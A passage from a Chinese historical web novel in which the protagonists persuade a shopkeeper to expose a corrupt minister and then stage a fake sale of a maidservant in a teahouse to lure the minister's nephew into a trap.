周掌柜蜷缩在墙角,闻声猛然抬头,只见一个黑衣蒙面的男子立在门口,月光自他身后斜斜映进来,看不清面目,只觉那身影修长挺拔,周身笼着一层寒意。
“你……你是何人?
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”周掌柜声音发颤,下意识往后缩了缩。
黑衣男子缓步走近,在他面前站定,并不答话,只低声道:“告诉我,那幕后之人,究竟是谁?”
周掌柜觉得这声音有几分熟悉,却一时想不起在何处听过。
他咬了咬牙,摇头道:“小人……小人不能说……”
“还是怕说出来,那人会杀你家人?”黑衣男子语声淡淡,听不出喜怒。
周掌柜垂下头,默认了。
黑衣男子缓缓摇头,语气里似带了几分惋惜:“若能寻到他的证据,将他绳之以法,你便可保住性命,也算作戴罪立功。这难道不比用你自己的命换家人一时平安,要好得多?”
周掌柜眼中闪过片刻的动摇,随即又被恐惧淹没。他颤声道:“你……你可知晓,便是把他的证据铺到县衙,不,便是拿到府衙上,知府老爷都不敢审他!”
“是吗?”黑衣男子不以为意,缓缓从怀中掏出一物,举到周掌柜面前。
“你看清楚些。”他如是说。
月色从窗缝里漏进来,照在那物件上。
那是一块玉牌,通体莹润,成色极佳,正中刻着一个字。
周掌柜定睛望去,待看清那字时,瞳孔骤然收缩,竟似连呼吸都忘了。
那个字,他认得。
普天之下,能用这个字的,只有……
他望着面前的黑衣男子,下一瞬,忽地转坐为跪,却是激动得不知说何是好。
黑衣男子将玉牌收回怀中,语气淡漠,不疾不徐:“如今你再想想,若是证据够了,我保不保得住你?办不办得了他?”
周掌柜喉咙里发出一声含糊的响动,却仍是难以成句,只将头抵在地上,伏身不起。
“性命攸关,还望三思。”黑衣男子最后垂眸看了他一眼,便转身向门口走去。
行至门边,又淡然丢下一句:“若是考虑好了,明日便去找裴东家。旁人问你为何改了主意,不必多言。”
话音落时,那抹黑影已消失在夜色中,只余房门在风中轻轻晃动的声音。
翌日清晨。
苏影匆匆来报,说周掌柜主动求见裴栩生,愿意提供证据,指证那幕后之人。
韩诗情蓦地望向裴栩生,刹那间,心中闪过万千思绪。
裴栩生察觉到她探究的目光,微微侧过脸去,手中折扇轻摇,面上的不自然却遮也遮不住,偏还强撑出几分得意来。
他干咳一声,扯出个笑脸:“看来我昨日请的那位一品官员说动了他。”
韩诗情浅浅一笑,眼帘微垂,语气淡得听不出情绪:“朝中一品官员,夜探商号,替咱们做说客……裴公子的故交,与你交情颇深。”
裴栩生自然听出这话里的深意,笑着打趣道:“裴家富甲一方,总能挣来几分薄面。”说罢合上折扇,起身,大步往外走去,“走吧,听听他说什么。”
话已至此,韩诗情不再多问,只望了望苏云鹤,苏云鹤回了她一个淡淡的微笑,示意她一同跟上去。
19. 第十九回
不多时,众人聚于绫罗庄前厅。
裴栩生折扇轻摇,坐于上首,韩诗情与苏云鹤分坐两侧。
两名伙计将周掌柜带进来,他垂着头,目光呆滞地落在脚前的地砖上,脚下步子虚浮,全靠伙计架着才没软下去。
没有人催促他,屋内安静得能听见梁间燕子啄羽的窸窣声。
良久,他似攒足了力气,终于开口:“是沈崇海,礼部尚书,也是永昌侯爷的嫡亲兄长。”
裴栩生动作一顿,韩诗情下意识看向苏云鹤,后者面色未变。
周掌柜未去看他们的反应,继续道:“四年前,他着人找到小人,说愿与小人合作。小人起初不敢应,可他权势滔天,出手又阔绰,小人畏祸贪财……终是未能把持住。”
他将一切和盘托出。
这些年来如何以次充好、做假账,每月在何处与何人相见,事无巨细,交代得清清楚楚。
起初做时,他们尚存几分顾忌,到了这一二年,已是越发肆无忌惮。
“那些账目底簿呢?”裴栩生问,“可还有些许留存?”
周掌柜摇头道:“每月对账之后,全烧了,这是沈崇海亲自定的规矩,片纸不留。”
“若是寻不到证据……”裴栩生默然片刻,想起出门前苏云鹤与韩诗情交代过自己的话,“那我们便只能引蛇出洞,让他自己送上门了。”
“东家的意思是?”周掌柜抬起头,试探道:“以我为饵,引他出来?”
“不错。”裴栩生颔首,折扇轻击掌心,“那些账本能烧,可银钱烧不得。你且照常与他往来,莫露了破绽。咱们先弄清这银子离了你手之后,是进了沈府大门,还是拐进了哪家钱庄,再顺着这条线,查他这些年添置了多少产业。待时机成熟,抓他个人赃并获。”
周掌柜听罢,眼睛骤然一亮——此计若是能成,他这条命,便算保住了。
念及此,抢前半步,深深一揖,“东家既信任小人,小人必当戴罪立功,助东家成事。”
自那日之后,一切照旧。周掌柜还是周掌柜,该迎客迎客,仿佛什么事都没有发生。
每月十五,他都会在城东的鸿运楼定下一间雅座,名为宴请商客,实则是与沈崇海的侄子沈子皓碰面,将账目和银钱亲手交付。
沈崇海官居一品,自己不便出面,偏又生性多疑,谁也不信,只信自家骨肉,便将这差事交给了亲侄子。
这日正是十五,天色将暮未暮,街上的灯笼陆续亮起。
苏影和杨雨露早早守在鸿运楼附近,韩诗情则带着叶霜去了另一处地方。
清风茶楼。
每逢与周掌柜见过面后,沈子皓必来这茶楼中。他会在二楼临窗的位置坐下,要上一壶龙井、一碟瓜子,从日暮直坐到掌灯,个中缘由,无人知晓。
叶霜今日一袭红衣,艳得像是枝头初绽的海棠,明丽夺人。韩诗情却作丫鬟打扮,一身素净,落在人堆里便再寻不出来。
两人在二楼角落寻了个合适的位子,要了壶茶,便慢慢喝着。
暮色渐沉时,楼梯上传来脚步声。
沈子皓上来了。
他在临窗的老位置坐下,伙计熟门熟路地送上龙井和瓜子。他摆摆手,目光落向楼下的说书台,听得入神。
不多时,苏云鹤快步上了二楼。他今日与往日大不相同,往日的他温润如玉,今日却是一副登徒子的轻浮模样。
一上楼,他便径直朝叶霜那桌而去。见了叶霜身旁的韩诗情,眼睛顿时亮了,道:“你这丫鬟,确是值一千两银子。”
他将韩诗情细细打量一番,连连点头说好,随即从怀中掏出一叠银票,拍在桌上。
叶霜莞尔一笑,拿起银票揣入怀中,“从今日起,她便是你的人了。”
他们说话时,韩诗情一直瑟缩发抖,纤细的身子颤个不停。她死死咬着下唇,唇瓣几乎要沁出血来,拼命忍着,可听闻此言,终究再也忍不住,呜呜咽咽地哭了起来。
“走吧。”苏云鹤面向韩诗情,头一扬,明明仍是那张清逸绝俗的容颜,此刻却看上去甚是招人厌烦,“跟我回去,我会好好待你的。”
“不,不要……”韩诗情哭得梨花带雨,身子抖得如风中落叶,求助般望向叶霜,双手死死拽住了她的袖子,“小姐,我错了,我真的错了,求求你,不要将我卖给柳家……柳公子都有七八房妾室了,听说前头还有被磋磨死的……求求你,带我回去吧,求求你……”
见她这般撕心裂肺地哀求,叶霜却连眼皮都不抬一下,面色冷如寒霜,“你这狐媚子还有脸求我?平日里与姑爷眉来眼去,藏的那点子心思,打量我看不出?我将你远远嫁来京城,看他还惦不惦记你!”
说着手上用力,甩开了韩诗情。
韩诗情跌在桌上,却仍不肯死心,伸手要再去够叶霜的手臂,哭得浑身发颤:“小姐……小姐……我与姑爷清清白白,当真清清白白……”
一旁的苏云鹤见她们这般拉扯,眉头微皱,催促道:“人我能带走了吗?”
“请随意。”叶霜嫌恶地往后挪了挪,与韩诗情拉开距离,摆摆手道,“人钱两清,我方才便说过,她已是你的人了。”
苏云鹤神色稍缓,起身理了理衣襟,看向韩诗情,语气里带了三分不耐:“天都黑了,快跟我回家。再这么闹下去,我可真要恼了。”
说罢,便要伸手去抓她手腕。
“我不去!”
韩诗情如受惊的兔子般猛然站起,不小心打翻了桌上的茶壶。
叶霜见状,勃然大怒:“你这贱婢!到了这时候还敢给我惹事,看我今日不打死你!”
话音未落,已从怀中掏出一根短鞭,起身要去抽打韩诗情。
韩诗情惊呼一声,慌忙避开,在桌椅间左躲右闪,嘴里慌不迭地求饶:“小姐饶命……小姐饶命……”
苏云鹤在旁瞧着,非但不劝阻,反倒重新坐回去,抱臂倚在椅背上,唇边噙着笑,一副看热闹的样子,毫无心疼之意。
此时二楼客人不多,除了她们这桌,便
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只有沈子皓一人。
沈子皓早已留意到这边的动静,初时不愿理会,可眼下吵嚷声越来越大,搅了他听书的兴致。
他刚要发作,抬眼看去,恰逢韩诗情躲避间将面容转了过来,让他瞧了个清楚。
只见她生得清丽若仙,肤若凝脂,虽是丫鬟打扮,却美得不似凡尘中人。
沈子皓不禁咽了口唾沫,火气顿时消了大半,又眼瞧着叶霜仍在喝骂,这才回过神,起身朝她们走去。
“且慢!”
他清了清嗓子,踱步上前,面上端出一副主持公道的模样,高声道:“这位姑娘不过是打翻了茶盏,何至于如此打她?”
叶霜手中短鞭一顿,斜眼睨他:“你是何人?我教训自家丫鬟,与你何干?”
“姑娘教训丫鬟,自然与我无关。”他捋了捋袖口,目光落在瑟缩发抖的韩诗情身上,语气愈发义正言辞,“可当街买卖人口,这便不合规矩了。我朝律法明文规定,良贱有别,便是卖身为奴,也须经官府立契。你们这般私下交易,岂非目无王法?”
叶霜闻言,冷笑一声,将短鞭往桌上一拍:“当街买卖人口?你这说的是哪门子胡话?方才我们在茶楼里谈的买卖,何时当街了?再者,谁与你说,我们没有经官府立契?”
她说着,从袖中取出一张泛黄的契纸,在沈子皓面前抖了抖,又收回怀中,语气里满是讥讽:“这位公子若是闲得慌,不如去楼下台子上说说书,少管旁人闲事。”
“你……你……!”
沈子皓平生还未遇过这般泼辣的女子,被呛得面上微红,正欲辩驳,却见韩诗情连连朝他鞠躬,泪眼婆娱地哀求道:“求公子救救小女子!”
她声音破碎得几不成句:“这位柳公子实乃人面兽心之人!他家中有七八房妾室,如今却只剩两个,旁的都不知去了何处……小女子若是嫁进去,只怕也……”
言至此处,已是泣不成声,后面的话哽咽在喉间,再也说不下去。
听她说的这般无助,又瞧着那张绝美的面庞上泪痕点点,沈子皓只觉心尖一颤,一股邪火伴着怜意直往上涌。
他原想出言安抚,一旁的苏云鹤却忽地起身,三两步走到韩诗情跟前,指着她怒道:“你这贱婢!怎的平白诬陷好人?好似我将那些妾室怎么样了似的!”
说罢捋起袖子,扬起手来便要掌掴。
沈子皓眼疾手快,一把攥住他手臂,忙道:“这位公子,当着外人你便敢打她,若真将她带回家去,只怕她这条小命就没了!”
“滚开!”苏云鹤甩开他的手,面上怒色更甚,“契约已立,银钱我方才也付了,她如今是我的人,轮不到你来管!”
韩诗情慌忙摇头,哭得浑身发颤:“不是的!不是这样!公子,你行行好,救我一命,救我一命……”
沈子皓见她这般凄楚,心都要化了,下意识伸手去扶她,却见苏云鹤倏地抢上前来,横身挡在二人之间,将他与韩诗情隔开。
“我说过,我的人,你碰不得。”